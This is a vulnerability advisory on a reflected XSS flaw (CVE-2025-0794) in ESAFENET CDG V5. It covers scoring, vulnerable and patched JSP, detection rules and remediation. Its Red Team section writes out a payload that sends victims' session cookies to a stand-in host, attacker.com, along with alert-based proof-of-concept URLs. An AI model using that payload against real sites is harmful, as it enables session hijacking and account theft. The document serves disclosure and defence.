CVE-2025-0794
Executive Summary
CVE-2025-0794 is a reflected Cross-Site Scripting (XSS) vulnerability in ESAFENET CDG V5, specifically within the /todoDetail.jsp endpoint. The vulnerability allows an unauthenticated remote attacker to inject arbitrary JavaScript into the curpage parameter, which is then reflected back to the victim's browser without proper sanitization or encoding. This can lead to session hijacking, credential theft, or defacement. The vendor has been unresponsive, and no official patch exists. The exploit has been publicly disclosed, increasing the risk of active exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: Required (UI:R) – Victim must click a crafted link.
- Scope: Changed (S:C) – Impact can affect resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited modification of content.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. However, the lack of a patch and public exploit details elevate the risk for organizations using ESAFENET CDG V5.
Deep Dive & Mechanics
The vulnerability resides in the /todoDetail.jsp page of ESAFENET CDG V5. The curpage parameter is taken directly from the HTTP request and embedded into the HTML response without proper output encoding. An attacker can craft a URL such as:
http://target/cdg/todoDetail.jsp?curpage=<script>alert('XSS')</script>
When a victim visits this URL, the injected script executes in the context of the victim's session with the CDG application. This can be used to steal session cookies, redirect to malicious sites, or perform actions on behalf of the victim.
The root cause is the lack of input validation and output encoding for the curpage parameter. The application likely uses request.getParameter("curpage") and directly writes it into the response without using a context-aware encoding function (e.g., StringEscapeUtils.escapeHtml()).
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
<%
String curpage = request.getParameter("curpage");
%>
...
<input type="hidden" name="curpage" value="<%= curpage %>">
Patched Code (Conceptual):
<%@ page import="org.apache.commons.lang3.StringEscapeUtils" %>
<%
String curpage = request.getParameter("curpage");
String safeCurpage = StringEscapeUtils.escapeHtml4(curpage);
%>
...
<input type="hidden" name="curpage" value="<%= safeCurpage %>">
The patched version uses StringEscapeUtils.escapeHtml4() to encode HTML special characters, preventing script injection. Alternatively, a context-aware output encoding library like OWASP Java Encoder should be used.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A target running ESAFENET CDG V5.
- A web browser or tool like
curl.
Exploitation Steps:
- Craft a malicious URL:
http://target/cdg/todoDetail.jsp?curpage=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> - Send the link to a victim (e.g., via email or social engineering).
- When the victim clicks the link, the script executes and sends their session cookie to the attacker's server.
Proof of Concept (PoC) using curl:
curl -v "http://target/cdg/todoDetail.jsp?curpage=<script>alert('XSS')</script>"
Blue Team
Detection:
- Monitor web server logs for requests to
/todoDetail.jspwith suspiciouscurpageparameters containing<script>,onerror=, or other XSS payloads. - Use a Web Application Firewall (WAF) to block requests with malicious patterns in the
curpageparameter.
Mitigation:
- Apply input validation: Only allow alphanumeric characters and a limited set of safe characters (e.g., digits, commas, hyphens) in the
curpageparameter. - Implement output encoding: Use a library like OWASP Java Encoder to encode all user-controlled data before rendering in HTML.
- If possible, upgrade to a patched version of CDG (if one becomes available).
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/todoDetail.jspwithcurpageparameter containing<script>,%3Cscript%3E, or other HTML/JavaScript tags. - Outbound connections from the CDG server to unknown IP addresses on common ports (80, 443) shortly after a user accesses a crafted link.
- HTTP requests to
Host IOCs:
- Unusual entries in web server access logs (e.g.,
GET /cdg/todoDetail.jsp?curpage=<script>...). - Presence of unexpected JavaScript files or modified HTML files in the CDG web root.
- Unusual entries in web server access logs (e.g.,
File IOCs:
- Suspicious files in the CDG installation directory (e.g.,
/cdg/todoDetail.jspmodified with backdoors).
- Suspicious files in the CDG installation directory (e.g.,
Detection Engineering
YARA Rule
rule CVE_2025_0794_XSS_Detection {
meta:
description = "Detects XSS payloads targeting CVE-2025-0794 in ESAFENET CDG V5"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-0794"
strings:
$xss_payload = /curpage=.*<script[^>]*>.*<\/script>/i
$xss_payload2 = /curpage=.*onerror\s*=/i
$xss_payload3 = /curpage=.*alert\s*\(/i
condition:
any of them
}
Sigma Rule
title: CVE-2025-0794 XSS Attempt on ESAFENET CDG
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to /todoDetail.jsp with XSS payloads in the curpage parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-stem: '/cdg/todoDetail.jsp'
cs-uri-query|contains: 'curpage='
keywords:
- '<script'
- 'onerror='
- 'alert('
- 'prompt('
- 'confirm('
condition: selection and keywords
falsepositives:
- Legitimate use of 'curpage' parameter with safe values (e.g., numbers)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-0794 XSS Attempt on ESAFENET CDG"; flow:to_server,established; content:"GET"; http_method; content:"/todoDetail.jsp"; http_uri; content:"curpage="; http_uri; pcre:"/curpage=.*(<script|onerror|alert|prompt|confirm)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Input Validation: Restrict the
curpageparameter to only accept numeric values (e.g.,^[0-9]+$). This is the most effective short-term fix. - Output Encoding: If input validation is not possible, ensure all user-supplied data is HTML-encoded before rendering. Use a library like OWASP Java Encoder.
- WAF Rules: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block XSS payloads in the
curpageparameter.
Long-Term Actions:
- Vendor Engagement: Continue to pressure ESAFENET for an official patch. If unresponsive, consider migrating to an alternative solution.
- Code Review: Perform a security audit of all JSP files in the CDG application to identify similar vulnerabilities.
- Security Training: Educate developers on secure coding practices, especially regarding XSS prevention.
Workaround:
- If source code access is available, manually patch the
/todoDetail.jspfile to sanitize thecurpageparameter as shown in the "Patched Code" section.
Valters IT